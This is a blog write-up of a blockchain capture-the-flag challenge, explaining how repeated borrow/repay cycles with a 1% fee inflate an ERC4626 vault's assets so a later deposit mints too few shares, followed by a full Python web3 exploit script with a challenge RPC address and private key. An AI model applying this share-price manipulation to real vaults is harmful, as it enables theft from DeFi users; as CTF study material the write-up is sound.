CTF Challenge Writeup: Manipulating an ERC4626 Vault

Introduction

Recently, I tackled a blockchain-based Capture The Flag (CTF) challenge that required exploiting the mechanics of an ERC4626 vault to meet a specific condition. The challenge revolved around smart contracts and demanded a solid grasp of how vaults handle assets and shares through deposits, borrowing, and repayments. In this writeup, I’ll break down the challenge, my solution strategy, the obstacles I encountered, and the final script that cracked it.

The Challenge Setup

The challenge included three core smart contracts:

  1. LING.sol: A standard ERC20 token contract that mints an initial supply of 1000 ether worth of LING tokens to the Setup contract.

  2. Setup.sol: This contract deploys the LING token and the Vault contract. It offers two main functions:

    • claim(): Lets the user claim 1 ether of LING tokens.

    • solve(): Approves the vault to spend 999 ether of LING, deposits it into the vault, and checks if the vault’s balance of the setup contract (in shares) is less than 500 ether. If true, it sets solved = true.

  3. Vault.sol: An ERC4626-compliant vault managing LING tokens, supporting deposits (minting shares), borrowing assets, and repaying with a 1% fee.

Objective

The goal was to call solve() in the Setup contract and make it set solved = true. This meant ensuring that depositing 999 ether of LING into the vault resulted in fewer than 500 ether worth of shares.

Understanding the Vault Mechanics

To crack this, I dug into how the vault calculates shares and how its state changes with borrowing and repaying.

Key Mechanics:

  • Deposit: Shares are minted based on the ratio of total shares to total assets. For an empty vault, it’s a 1:1 ratio.

  • Borrow: Borrowing reduces the vault’s total assets.

  • Repay: Repaying adds a 1% fee to the repaid amount, increasing total assets without minting new shares.

The critical insight? Each repay increases the vault’s assets (thanks to the fee) without adding shares, effectively lowering the share price (assets per share). A lower share price means future deposits yield fewer shares for the same asset amount.

My Approach

I devised a plan to manipulate the vault’s state using borrow and repay cycles. Each cycle would inflate the total assets relative to shares, reducing the share price so that the solve() function’s 999 ether deposit would yield less than 500 ether in shares.

Steps:

  1. Claim Tokens: Call setup.claim() to grab 1 ether of LING.

  2. Approve Vault: Allow the vault to spend my LING tokens.

  3. Seed the Vault: Deposit a small amount (e.g., 0.01 ether) to initialize the vault’s state.

  4. Borrow/Repay Cycles: Repeatedly borrow a chunk of the vault’s assets, then repay with the 1% fee, boosting total assets over many iterations.

  5. Solve: Call setup.solve() to deposit 999 ether and check the condition.

Challenges and Fixes

Things didn’t work perfectly at first. Here’s what went wrong and how I fixed it:

  • Vault Assets Hitting Zero: Borrowing too much (e.g., 100% of assets) drained the vault, breaking its state.

    • Fix: Borrowed 90% of total assets per cycle to keep some assets in play.
  • Not Enough Manipulation: Too few cycles left the share price too high, and solve() failed.

    • Fix: Bumped the cycles to 300 for sufficient impact.
  • Debugging: I added logs every 10 cycles to track my balance, vault assets, and shares, which helped pinpoint issues.

The Final Solution

Here’s the Python script that solved the challenge:

#!/usr/bin/env python3
import os
import json
from web3 import Web3
from eth_account import Account
from eth_account.signers.local import LocalAccount

# Environment variables
RPC_URL       = os.getenv("RPC_URL", "http://s1.r3.ret.sh.cn:31651")
PRIVATE_KEY   = os.getenv("PRIVATE_KEY", "0x367944730c9d4e68337ea17fd5fb4777f165c50490b70d70bca95f39e6c25787")
SETUP_ADDRESS = os.getenv("SETUP_ADDRESS", "0xE5Aa189708cec3CE6A0d03FCC9CbD4cd72755708")
CYCLES        = int(os.getenv("CYCLES", "300"))

if not PRIVATE_KEY or not SETUP_ADDRESS:
    raise SystemExit("Set PRIVATE_KEY and SETUP_ADDRESS env‑vars first!")

# Connect to blockchain
w3  = Web3(Web3.HTTPProvider(RPC_URL))
acct: LocalAccount = Account.from_key(PRIVATE_KEY)
w3.eth.default_account = acct.address
print(f"Connected: chain‑id {w3.eth.chain_id}, signer {acct.address}\n")

# ABIs (simplified)
setup_abi = json.loads('[{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ling","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vault","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]')
vault_abi = json.loads('[{"inputs":[{"internalType":"uint256","name":"assets","type":"uint256"},{"internalType":"address","name":"receiver","type":"address"}],"name":"deposit","outputs":[{"internalType":"uint256","name":"shares","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"borrowAssets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"repayAssets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAssets","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]')
erc20_abi = json.loads('[{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]')

# Transaction helper
def send(fn):
    tx = fn.build_transaction({
        "from": acct.address,
        "nonce": w3.eth.get_transaction_count(acct.address),
        "gas": 400_000,
        "gasPrice": w3.eth.gas_price,
    })
    signed = acct.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(tx_hash)

# Wei to Ether conversion
def wei_to_ether(wei):
    return w3.from_wei(wei, 'ether')

# Contract instances
setup = w3.eth.contract(address=Web3.to_checksum_address(SETUP_ADDRESS), abi=setup_abi)
ling_address  = setup.functions.ling().call()
vault_address = setup.functions.vault().call()
ling  = w3.eth.contract(address=ling_address,  abi=erc20_abi)
vault = w3.eth.contract(address=vault_address, abi=vault_abi)

# Step 1: Claim 1 LING
print("1. Claiming 1 LING from the challenge...")
send(setup.functions.claim())
print(f"   User balance: {wei_to_ether(ling.functions.balanceOf(acct.address).call())} LING")

# Step 2: Approve vault
print("2. Approving vault to spend LING (infinite approval)...")
send(ling.functions.approve(vault_address, 2**256 - 1))

# Step 3: Initial deposit
print("3. Depositing 0.01 LING to seed the vault...")
D = w3.to_wei(0.01, "ether")
send(vault.functions.deposit(D, acct.address))
print("   Initial vault state:")
print(f"     Total assets: {wei_to_ether(vault.functions.totalAssets().call())} ether")
print(f"     Total shares: {wei_to_ether(vault.functions.totalSupply().call())} vLING")

# Step 4: Borrow/repay cycles
print(f"4. Performing up to {CYCLES} borrow/repay cycles...")
for i in range(CYCLES):
    total_assets = vault.functions.totalAssets().call()
    if total_assets == 0:
        print("   Vault assets are zero, stopping cycles")
        break
    borrow_amount = int(total_assets * 0.9)  # Borrow 90% to avoid draining
    if borrow_amount == 0:
        print("   Borrow amount is zero, stopping cycles")
        break
    receipt = send(vault.functions.borrowAssets(borrow_amount))
    if receipt.status == 0:
        print("   Borrow failed, stopping cycles")
        break
    send(vault.functions.repayAssets(borrow_amount))
    if (i + 1) % 10 == 0:
        print(f"   After {i+1} cycles:")
        print(f"     User balance: {wei_to_ether(ling.functions.balanceOf(acct.address).call())} LING")
        print(f"     Vault assets: {wei_to_ether(vault.functions.totalAssets().call())} ether")
        print(f"     Vault shares: {wei_to_ether(vault.functions.totalSupply().call())} vLING")

# Step 5: Solve
print("5. Calling Setup.solve() to complete the challenge...")
send(setup.functions.solve())

# Verify
assert setup.functions.isSolved().call(), "Challenge not solved!"
print("Success! The challenge has been solved.\n")

Conclusion

This challenge was a fantastic dive into ERC4626 vault mechanics. By leveraging borrow/repay cycles, I manipulated the share price to meet the solve() condition. Key lessons:

  • The interplay between assets and shares dictates deposit outcomes.

  • Controlled borrowing prevents breaking the vault’s state.

  • Debugging with logs is a lifesaver for tracking changes to blockchain state.

This also hints at real-world vault design considerations, that small fees can be exploited if not carefully managed. A fun and educational CTF!

0
Subscribe to my newsletter

Read articles from Pradip Bhattarai directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Pradip Bhattarai
Pradip Bhattarai